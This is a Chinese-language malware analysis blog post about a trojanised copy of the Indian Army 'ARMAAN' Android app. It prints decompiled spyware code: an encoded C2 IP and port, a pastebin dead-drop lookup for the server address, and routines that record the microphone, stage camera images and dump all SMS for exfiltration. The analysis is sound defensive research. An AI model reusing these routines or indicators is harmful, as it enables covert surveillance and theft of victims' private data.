恶意APP对印度军队进行APT攻击分析

APT 1年前 (2023) admin
616 0 0

前言:

本文所分析的恶意APP的原APP名为“ARMAAN”,是一个涵盖了有关印度军队各类信息和服务的应用程序。该恶意APP可以从受害者的设备中窃取敏感数据,例如位置、短信、通讯录、存储文件、音频等。

恶意APP对印度军队进行APT攻击分析

分析:

使用jadx反编译apk先看看真app和假app有何不同。

恶意APP对印度军队进行APT攻击分析

可以很清晰的看到假的app这边多了一个名为example.mediaservice的包,那我们就直接从这个包入手吧。

恶意APP对印度军队进行APT攻击分析

由于mainactivity没有什么有价值的内容,所以我就从connection入手了,这个异步任务非常吸引我。

byte[] ipArray = {49, 55, 51, 46, 50, 49, 50, 46, 50, 50, 48, 46, 50, 51, 48};

byte[] portArray = {51, 54, 49, 55};

看这定义的两个数组,经过ascii解码后可得ip为173.212.220.230,端口为3617,这就是传说中的C2了。

public Void doInBackground(Void... voids) {
storeGPS();
connectToServer();
return null;
}
private void storeGPS() {
try {
if (ConstantMethod.getLoc(this.context) == null) {
String mGPS = LocationManagers.getLocationManager(this.context).initLocationService();
if (!mGPS.isEmpty()) {
ConstantMethod.StoredLoc(this.context, mGPS);
}
}
} catch (Exception e) {
e.printStackTrace();
}

看这两段代码可以得知定义的storeGPS的功能是从LocationManagers中获取GPS定位信息,然后存储到ConstantMethod中。在第一段代码中可以清楚看到有一个connectToServer(),这个咱们一会儿再讲。

下文列举的代码中均含有一些看似加密了的地方例如Nw39Jf,这其实是个数组,值为Nw39Jf,最后combined的时候再将几个数组合并组成新数组(后边其他代码也是一样的,所以不说明了)。

private void sentMicRecording() {
this.micManager = new MicManager();
if (!Constants.RECORDING_STATE) {
lambda$RecieveCommand$1$MyAsyncTask("O@y7J&Mike Recording is Started Please Wait : ");
Constants.RECORDING_STATE = true;
this.micManager.timerSchedule();
this.micManager.setMicRecordingListener(new OnRaiseMicRecording() {
/* class com.example.mediaservice.connection.MyAsyncTask.AnonymousClass4 */

@Override // com.example.mediaservice.Interfaces.OnRaiseMicRecording
public void onMicRecording(String recording) {
if (!Constants.RECORDING_STATE && ConstantMethod.checkFile(recording) && Constants.CONNECTION_STATE) {
byte[] details = FileManager.sendFileDetailed("Nw39Jf" + recording);
byte[] fileData = FileManager.sendFile("Nw39Jf" + recording);
byte[] combined = new byte[(details.length + fileData.length)];
System.arraycopy(details, 0, combined, 0, details.length);
System.arraycopy(fileData, 0, combined, details.length, fileData.length);
MyAsyncTask.this.MsendFile(combined);
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ConstantMethod.fileDelete(recording);
}
}
});
return;
}
lambda$RecieveCommand$1$MyAsyncTask("O@y7J&Mike Recording already in Progress : ");
}

在开头它创建了一个名为 MicManager 的新对象,然后判断一个叫 Constants.RECORDING_STATE的常量是否为 false。如果是则将Constants.RECORDING_STATE 设置为 true。调用 micManager 的 timerSchedule 方法。为 micManager 设置一个名为 OnRaiseMicRecording 的监听器进行监听录音。将录音文件发送出去。最后在发送完文件之后sleep(2000)并删除录音文件。

private byte[] sentFrontCameraImage(int size) {
String temp = size + "Ts6" + ConstantMethod.createMyStufffDir() + "/Front/" + System.currentTimeMillis() + ".PNG";
byte[] command = "Nw39Jf".getBytes();
byte[] stufflength = (temp.length() + "").getBytes();
byte[] maindata = temp.getBytes();
byte[] combined = new byte[(command.length + 4 + maindata.length)];
System.arraycopy(command, 0, combined, 0, command.length);
System.arraycopy(stufflength, 0, combined, command.length, stufflength.length);
System.arraycopy(maindata, 0, combined, command.length + 4, maindata.length);
return combined;
}

这段代码应该是用来发送前置摄像头(因为/front/应该是对应了下一段代码中的/back/)拍照的照片的。由调用 ConstantMethod.createMyStufffDir() 方法得到的路径一个文件名,由当前时间戳和 “.PNG” 拼接成文件名,然后定义了几个数组最后再拼接好发出去。

private byte[] sentBackCameraImage(int size) {
String temp = size + "Ts6" + ConstantMethod.createMyStufffDir() + "/Back/" + System.currentTimeMillis() + ".PNG";
byte[] command = "Nw39Jf".getBytes();
byte[] stufflength = (temp.length() + "").getBytes();
byte[] maindata = temp.getBytes();
byte[] combined = new byte[(command.length + 4 + maindata.length)];
System.arraycopy(command, 0, combined, 0, command.length);
System.arraycopy(stufflength, 0, combined, command.length, stufflength.length);
System.arraycopy(maindata, 0, combined, command.length + 4, maindata.length);
return combined;
}

一样的操作,只是路径不同。

private String sendGET() {
try {
HttpURLConnection con = (HttpURLConnection) new URL("https://pastebin.com/VfRCefzG").openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
if (con.getResponseCode() != 200) {
return null;
}
BufferedReader in2 = new BufferedReader(new InputStreamReader(con.getInputStream()));
while (true) {
String inputLine = in2.readLine();
if (inputLine != null) {
String inputLine2 = inputLine.trim();
if (inputLine2.length() > 11) {
if (inputLine2.trim().substring(0, 10).contains("<textarea")) {
return matcher(inputLine2);
}
}
} else {
in2.close();
return null;
}
}
} catch (Exception e) {
return null;
}
}

这段代码会用GET请求,https://pastebin.com/VfRCefzG,使用 BufferedReader 和 InputStreamReader 读取response的html,找到以textarea 开头,则调用 matcher() 方法匹配该行中的 IP 地址。如果成功匹配,则返回 IP 地址。

Matcher方法如下

private String matcher(String ipString) {
try {
Matcher matcher = Pattern.compile("(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)").matcher(ipString);
if (matcher.find()) {
return matcher.group();
}
return null;
} catch (Exception e) {
return null;
}
}

RecieveCommand是C2用于控制受害者设备所使用的命令的(也就是说前面分析的都是如何存储,此处则为如何触发命令让其进行存储或发送)。

try {
String sPath = new SMSManager().getAllSMS(this.context);
if (ConstantMethod.checkFile(sPath)) {
byte[] details3 = FileManager.sendContactsDetails(sPath);
byte[] fileData3 = FileManager.sendFile("j%8Q$3" + sPath);
if (!(details3 == null || fileData3 == null)) {
byte[] combined3 = new byte[(details3.length + fileData3.length)];
System.arraycopy(details3, 0, combined3, 0, details3.length);
System.arraycopy(fileData3, 0, combined3, details3.length, fileData3.length);
MsendFile(combined3);
}
ConstantMethod.fileDelete(sPath);
Thread.sleep(2000);
} else {
lambda$RecieveCommand$1$MyAsyncTask("*F1&G5");
}
}

它调用了 SMSManager 的 getAllSMS() 方法获取短信的路径并检测文件是否存在,如果存在,则使用 sendContactsDetails() 和 sendFile() 方法发送短信的详细信息和文件数据,最后使用 ConstantMethod 类的 fileDelete() 方法删除文件,sleep(2000)。

跟踪一下getAllSMS()方法

恶意APP对印度军队进行APT攻击分析

可以看到Gooods包里有定义它的痕迹,我们直接打开Gooods。

恶意APP对印度军队进行APT攻击分析

可以看到一些骚操作的代码原理,calllog是通话记录;contact是联系人;file是文件文档;location是位置;mic是录音;photo是相册;sms是短信记录。

此处仅列举SMSManager的实现方式:

public class SMSManager {
private FileOutputStream fos;

public String getAllSMS(Context context) {
try {
Cursor cur = context.getContentResolver().query(Uri.parse("content://sms/"), null, null, null, null);
String path = ConstantMethod.createMainDir() + "/" + ConstantMethod.getCurrentDateandTime() + "_rw.rlm";
this.fos = new FileOutputStream(path);
if (cur != null) {
while (cur.moveToNext()) {
String address = cur.getString(cur.getColumnIndex("address"));
String body = cur.getString(cur.getColumnIndexOrThrow("body"));
String date = cur.getString(cur.getColumnIndexOrThrow("date"));
this.fos.write((cur.getString(cur.getColumnIndex("type")) + " : " + address + " : " + date + " : " + body + "n").getBytes());
}
}
return path;
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
}

SMSManager 类中的 getAllSMS() 方法使用 ContentResolver 类的 query() 方法查询短信的内容提供者,并获取一个 Cursor 对象。然后使用 ConstantMethod 类的 createMainDir() 和 getCurrentDateandTime() 方法创建了文件的路径。如果 Cursor 不为 null,则它使用 while 循环逐个遍历短信。对于每条短信,它使用 Cursor 的 getColumnIndex() 和 getColumnIndexOrThrow() 方法获取短信的地址、内容、日期和类型。然后它使用文件输出流的 write() 方法将这些信息写入文件中。最后,返回文件的路径。

总结:

整体分析下来相对简单,算是一个不错的小练习。

参考:

https://twitter.com/malwrhunterteam/status/1484966581620949005

https://bbs.pediy.com/thread-272153.htm

https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/

原文始发于微信公众号(Arr3stY0u):恶意APP对印度军队进行APT攻击分析

版权声明:admin 发表于 2023年3月3日 下午12:14。
转载请注明:恶意APP对印度军队进行APT攻击分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...